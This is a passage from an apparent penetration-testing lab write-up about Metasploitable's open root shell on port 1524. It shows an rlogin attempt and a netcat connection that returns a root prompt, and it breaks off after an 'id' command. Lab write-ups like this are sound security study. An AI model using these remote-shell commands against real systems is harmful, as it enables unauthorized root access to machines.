Metasploitable Root shell   1524/tcp             open                 shell              Metasploitable root shell This was a curiousity… My first attempt was to attempt using rlogin to connect to the port, which did not appear to work correctly, though did seem to work enough to return part of a prompt to the user: root@kali:~# rlogin -p 1524 target oot@metasploitable:/# My next approach was to attempt a simple netcat connection to the host, which ended up being successful: root@kali:~# nc -v target 1524 root@metasploitable:/# id                    ...
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